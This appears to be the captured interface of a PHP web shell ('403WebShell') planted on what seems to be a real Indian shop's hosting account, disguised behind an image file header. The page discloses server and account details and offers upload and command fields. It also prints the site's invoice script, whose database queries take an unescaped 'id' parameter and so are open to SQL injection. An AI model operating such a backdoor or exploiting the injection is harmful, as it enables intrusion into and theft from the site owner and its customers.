���� JFIF    aewtgwgerwasdasd403WebShell
403Webshell
Server IP : 147.93.80.58  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u939086737 ( 939086737)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u939086737/domains/jeevikagaumaa.in/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u939086737/domains/jeevikagaumaa.in/public_html/admin//print-invoice.php
<?php include '../action/check-login.php';
include '../action/config.php';

$id = ($_GET['id']);
$qry = mysqli_query($con, "SELECT * FROM `orders` WHERE id='$id'");
$r = mysqli_fetch_array($qry);

$userid = $r['userid'];
$name = $r['name'];
$email = $r['email'];
$phone = $r['phone'];
$alternate = $r['alternate'];
$address = $r['address1'];
$landmark = $r['address2'];
$city = $r['city'];
$state = $r['state'];
$pin = $r['pin'];
$order_type = $r['order_type'];
$order_date = $r['order_date'];
$items = $r['items'];
$grand_total = $r['grand_total'];
$payment_status = $r['payment_status'];
$order_status = $r['order_status'];
$txnid = $r['txnid'];
$subtotal = 0;

?>

<!DOCTYPE html>
<html lang="en">

<head>
    <!-- Required meta tags -->
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
    <meta name="description" content="" />
    <meta name="author" content="" />
    <title><?= 'Invoice id ' . $id . ' - ' . $name ?></title>
    <link href="css/styles.css" rel="stylesheet" />
    <link href="https://cdn.datatables.net/1.10.20/css/dataTables.bootstrap4.min.css" rel="stylesheet" crossorigin="anonymous" />
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css" />
    <link rel="shortcut icon" href="../assets/images/logo3.png" />
    <style>
        .text-sm {
            font-size: 13px;
            font-weight: bold;
            color: blue;
        }

        @media print {

            .no-print,
            .no-print * {
                display: none !important;
            }
        }

        hr {
            margin: 0px;
            padding: 0px;
        }
    </style>
</head>

<body>
    <div class="container">
        <!-- Main content -->
        <section class="invoice my-2">

            <div class="row invoice-info">
                <div class="col-sm-4 invoice-col" style="border: 1px solid green; padding:10px;">
                    <address>
                        <img height="60px;" src="../img/favicon.png" alt=""><br>
                        <strong>जीवनदायिनी जीविका गौसेवा सदन</strong><br>
                        <?= $shop['address'] ?><br>
                        Phone: <?= $shop['phone'] ?><br>
                        <!--GSTIN: <?= $shop['gst'] ?>-->
                    </address>
                </div>
                <!-- /.col -->
                <div class="col-sm-4 invoice-col pl-4" style="border: 1px solid green; padding:10px;">
                    Shipping Address,
                    <address>
                        <strong><?= $name ?></strong><br>
                        <?= $address . '<br>' . $landmark ?><br>
                        <?= $city . ', ' . $state . ' - ' . $pin ?><br>
                        <?= $phone . ' &nbsp; ' . $alternate ?><br>
                    </address>
                </div>
                <!-- /.col -->
                <div class="col-sm-4 invoice-col" style="border: 1px solid green; padding:10px;">
                    <b>Bill no: <?= $r['invoice_no']; ?></b><br>
                    <br>
                    <b>Order ID:</b> <?= $id ?><br>
                    <b>Order Date:</b> <?= $order_date ?><br>
                    <b>Amount:</b> <i class="fa fa-inr"></i> <?= $grand_total ?><br>
                </div>
            </div>

            <!-- Table row -->
            <div class="row" style="border: 1px solid green; padding:10px;">
                <div class="col-xs-12 table-responsive">
                    <table class="table table-bordered table-sm">
                        <tr>
                            <th>#</th>
                            <th>Product</th>
                            <th>HSN</th>
                            <th>Qty</th>
                            <th>MRP</th>
                            <th>Rate</th>
                            <th>Taxable</th>
                            <th>IGST %</th>
                            <th>Value</th>
                            <th class="text-center">Total</th>
                        </tr>
                        <?php
                        $i = 0;
                        $t_gst = $unit2 = 0;
                        $t_taxable = 0;
                        $qry1 = mysqli_query($con, "SELECT * FROM `sales_item` WHERE order_id='$id'");
                        while ($r1 = mysqli_fetch_array($qry1)) :
                            $i++;
                            $pid = $r1['p_id'];
							$qry2 = mysqli_query($con,"SELECT qty2 FROM `product` WHERE id='$pid'");
							$r2=mysqli_fetch_array($qry2);
							$unit2 += ($r1['quantity']*$r2['qty2']);
                        ?>
                            <tr>
                                <td><?php echo $i; ?></td>
                                <td><?php echo $r1['pname']; ?></td>
                                <td>
                                    <?php
                                    $qry2 = mysqli_query($con, "SELECT * FROM `product` WHERE id='$r1[p_id]'");
                                    $r2 = mysqli_fetch_array($qry2);
                                    echo $r2['hsn'];
                                    ?>
                                </td>
                                <td><?php echo $r1['quantity']; ?></td>
                                <td><?php echo $r1['price']; ?></td>
                                <td><?= $rate = round(($r1['price'] * 100) / (100 + $r2['gst']), 2) ?></td>
                                <td><?= $taxable = $r1['quantity'] * $rate; ?></td>
                                <td><?php echo $r2['gst'] . '%'; ?></td>
                                <td><?= $gst_value = number_format(($r1['price'] - $rate)*$r1['quantity'],2) ?></td>
                                <td align="right"><i class="fa fa-inr"></i> <?php echo number_format($r1['quantity'] * $r1['price'],2); ?></td>
                            </tr>

                        <?php
                            $subtotal += $r1['quantity'] * $r1['price'];
                            $t_gst += $gst_value;
                            $t_taxable += $taxable;

                        endwhile;
                        ?>
                        <tr>
                            <td colspan="4"></td>
                            <td colspan="2">Subtotal</td>
                            <td><?= $t_taxable ?></td>
                            <td></td>
                            <td><?= $t_gst ?></td>
                            <td align="right"><i class="fa fa-inr"></i> <?php echo number_format($subtotal,2); ?></td>
                        </tr>
                    </table>

                    <table class="table table-sm table-bordered">

                        <tbody>
                            <tr>
                                <td width="70%">
                                    <div class="p-2 text-capitalize">
                                        <h6>Amount in words</h6>
                                        <?php include 'num_to_word.php';
                                        getIndianCurrency($grand_total); ?>
                                    </div>
                                </td>

                                <td width="21%">
                                    Shipping
                                    <hr>
                                    Total
                                    <hr>
                                    Used Wallet(-)
                                    <hr>
                                    Final Value
                                </td>
                                <td width="9%"><i class="fa fa-inr"></i>
                                    <?php
                                    if ($unit2 > 0 && $unit2 <= 2000) {
                                        echo $shipping = 100;
                                    }
                                    if ($unit2 >= 2001 && $unit2 <= 3000) {
                                        echo $shipping = 150;
                                    }
                                    if ($unit2 >= 3001 && $unit2 <= 4000) {
                                        echo $shipping = 200;
                                    }
                                    if ($unit2 >= 4001 && $unit2 <= 5000) {
                                        echo $shipping = 250;
                                    }
                                    if ($unit2 >= 5001 && $unit2 <= 6000) {
                                        echo $shipping = 300;
                                    }
                                    if ($unit2 >= 6001 && $unit2 <= 7000) {
                                        echo $shipping = 350;
                                    }
                                    if ($unit2 >= 7001 && $unit2 <= 8000) {
                                        echo $shipping = 400;
                                    }
                                    if ($unit2 >= 8001 && $unit2 <= 9000) {
                                        echo $shipping = 450;
                                    }
                                    if ($unit2 >= 9001) {
                                        echo $shipping = 500;
                                    }
                                    ?>
                                    <hr>
                                    <i class="fa fa-inr"></i> <?php echo $subtotal + $shipping; ?>
                                    <hr>
                                    <i class="fa fa-inr"></i> <?php echo $grand_total - ($subtotal + $shipping); ?>
                                    <hr>
                                    <i class="fa fa-inr"></i> <?php echo $grand_total; ?>
                                </td>
                            </tr>
                            
                        </tbody>
                    </table>

                </div>
            </div>
            <div class="text-center mt-5">
                <button class="btn btn-sm btn-info no-print" onclick="window.print()">Print</button>
            </div>
        </section>
        <!-- /.content -->
    </div>
    <!-- ./wrapper -->
</body>

</html>


<!-- <script>
    window.print();
</script> -->

Youez - 2016 - github.com/yon3zu
LinuXploit